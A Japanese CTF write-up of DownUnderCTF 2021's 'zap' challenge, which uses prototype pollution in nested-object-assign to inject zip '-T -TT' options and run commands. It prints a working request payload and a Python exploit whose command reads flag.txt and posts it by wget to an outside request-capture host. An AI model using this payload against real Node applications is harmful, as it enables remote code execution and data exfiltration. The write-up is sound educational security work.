DownUnderCTF 2021 - zap
TL;DR
nested-object-assign
でPrototype Pollutionが出来る- これで本来なら設定されないはずの要素に任意の値を設定出来るようになり、それを利用して
zip
コマンドに任意のオプションを設定出来るようになる -T -TT <cmd>
を指定すれば任意コード実行が出来るのでこれでフラグを読む
Prerequisite
zip
コマンドの任意コード実行- Prototype Pollution
Writeup
次のようなnode製のアプリケーションが動いている。
const assign = require("nested-object-assign");
const express = require("express");
const fs = require("fs");
const multer = require("multer");
const morgan = require("morgan");
const { spawn } = require("child_process");
// config
const UPLOAD_DIR = process.env.UPLOAD_DIR ?? "/tmp";
const ZIP_OPTS = JSON.parse(process.env.ZIP_OPTS ?? '{"executable":"zip"}');
// zipper
function zip(infile, outfile, extra_opts) {
const opts = assign(
{
zip: {
password: null,
compressionMethod: "deflate",
},
executable: ZIP_OPTS.executable,
},
extra_opts
);
return spawn(ZIP_OPTS.executable, [
"-j",
outfile,
infile,
"--compression-method",
opts.zip.compressionMethod,
...(opts.zip.password
? ["--encrypt", "--password", opts.zip.password]
: []),
...(ZIP_OPTS.extra_opts ?? []),
]);
}
function tryRm(file) {
try {
fs.unlinkSync(file);
} catch (e) {}
}
// app
const app = express();
app.use(morgan("tiny"));
const zipUpload = multer({
dest: UPLOAD_DIR,
limits: {
files: 1,
fileSize: 8192,
},
}).single("file");
app.post("/zip", zipUpload, (req, res) => {
if (!req.file) return res.redirect("/");
const outfile = `${req.file.path}.zip`;
function abort(status) {
tryRm(req.file.path);
tryRm(outfile);
res.status(status).end();
}
zip(req.file.path, outfile, { zip: req.body })
.on("error", () => abort(500))
.on("exit", (code) => {
if (code !== 0) return abort(500);
fs.createReadStream(outfile)
.on("error", () => abort(500))
.on("finish", () => abort(200))
.pipe(res)
});
});
app.get("/", (_req, res) => {
res.sendFile(__dirname + "/index.html");
});
app.listen(8000, () => {
console.log("App started");
});
ファイルを投げるとそいつをzipにしてくれる。そういえばもしzip
コマンドを使っているなら-T -TT <cmd>
で任意コード実行が出来た気がするのでこの辺に該当しそうな実装箇所を眺めていると次のような場所が見つかる。
return spawn(ZIP_OPTS.executable, [
"-j",
outfile,
infile,
"--compression-method",
opts.zip.compressionMethod,
...(opts.zip.password
? ["--encrypt", "--password", opts.zip.password]
: []),
...(ZIP_OPTS.extra_opts ?? []),
]);
ZIP_OPTS.executable
がzip
となっており、通常のzip
コマンドを用いている。ということはZIP_OPTS.extra_opts
に["-T", "-TT", "<cmd>"]
を発生させれば任意コード実行が出来そうである。
問題はそのままであればZIP_OPTS
に直接値を代入できそうな箇所が存在しないことである。ここでextra_opts
という変数が存在している事に注目してその辺を読んでみるとこんな実装が見つかる。
const opts = assign(
{
zip: {
password: null,
compressionMethod: "deflate",
},
executable: ZIP_OPTS.executable,
},
extra_opts
assign
はnested-object-assign
というライブラリの関数で2つのオブジェクトを受け取っていい感じにマージした結果を返すらしい。いい感じにマージとは「もし同名のプロパティがあるなら、それぞれ値に対して再帰的にマージを実行した結果を返す」ということらしい(参考文献より)。
ここでextra_opts
は{zip: req.body}
という形で与えられることを考えると、もし{zip: {__proto__: {key: value}}}
のようなものを送り込んだら、assign
の第一引数のzip
プロパティにオブジェクトが入っているのでここの__proto__
に対して{key: value}
のマージが行われる。これでただのオブジェクトのprototypeに対してkey
要素がvalue
となるので、あるオブジェクトにkey
要素が実装されていなければprototypeから読まれ、value
が返されることになる。
ということは{__proto__: {key: value}}
のような入れ子になったオブジェクトをreq.body
に設定しなくてはならない。長いことWebから離れていたのでここで苦戦したが、"__proto__[key]=value"
のように、値では無くキーに入れ子構造を記述するような形でリクエストを送る事を思い出した。
さて、実現したいのはZIP_OPTS.extra_opts = ["-T", "-TT", "<cmd>"]
なのでそれに該当するようなオブジェクトは次のようになる。
{
__proto__: {
extra_opts: [
"-T",
"-TT",
"<cmd>"
]
}
}
これを実現するリクエストボディは次のようになる。
__proto__[extra_opts][0]=-T&__proto__[extra_opts][1]=-TT&__proto__[extra_opts][2]=<cmd>
任意コード実行が出来るようになったが、その結果を出力してくれるわけではないのでどうにかしてそれを得る必要がある。リバースシェルを張っても良いと思うが、面倒なので実行コマンドをリダイレクトして、そのファイルをwgetでrequestbin(今はpipedreamって言うらしい)に送り込んだ。
コマンドはls > /tmp/ls.txt
してからcat flag.txt > /tmp/cat.txt
としたものをwgetで送らせた。
Code
フラグ開示のみ(事前にwget
でls
した結果を送っている)
import requests
url = "http://localhost:8000"
f = {
"file": ("unko.txt", "unkoburibu~ri")
}
d = {
"__proto__[extra_opts][0]": "-T",
"__proto__[extra_opts][1]": "-TT",
"__proto__[extra_opts][2]": 'cat flag.txt > /tmp/cat.txt; wget --post-file="/tmp/cat.txt" https://<REDACTED>.m.pipedream.net', # ls > /tmp/ls.txt; ... を最初にやってファイル名を特定した
}
r = requests.post(url+"/zip", files=f, data=d)
print(r.text)
Flag
ローカルでやったけど問題リポジトリ上でやったのでなんか出た
DUCTF{th4nk_y0u_4_p4rticipating_1n_our_bet4_t3st}
Appendix: nodeのデバッグ
ググり力がカスすぎてドキュメントに書いてあったのに辿り着くのが遅れたから一応書いておく。ちなみにWSL2でしか確かめていない(Linuxのデスクトップ環境とかなら--inspect
をlocalhost
にしなくても出てきたURLでアクセス出来ると思う)
- アプリケーション起動時に
node --inspect=localhost:<port> <app>
とする - 「Chrome」でアドレスバーに
http://localhost:<port>/json/list
にアクセスしてdevtoolsFrontendUrl
の値をアドレスバーに打ち込む - なんかできる、すげー
これでブレークポイントをポチポチしたりして変数の中身を見れる。ちなみに愛用ブラウザであるFirefoxでやる方法は1分調べたぐらいでは出てこなかったので数年ぶりにChromeを引っ張り出した。
Resources
- Challenges_2021_Public/web/zap at main · DownUnderCTF/Challenges_2021_Public: 問題ファイル、配られたのは
app.js
とpackage.json
とyarn.lock
だけらしい - Prototype Pollution in nested-object-assign | CVE-2021-23329 | Snyk: Prototype Pollution出来るらしい事を知った
- 【1分見て】実例から学ぶprototype pollution【kurenaif勉強日記】 - YouTube
- デバッグ - 入門 | Node.js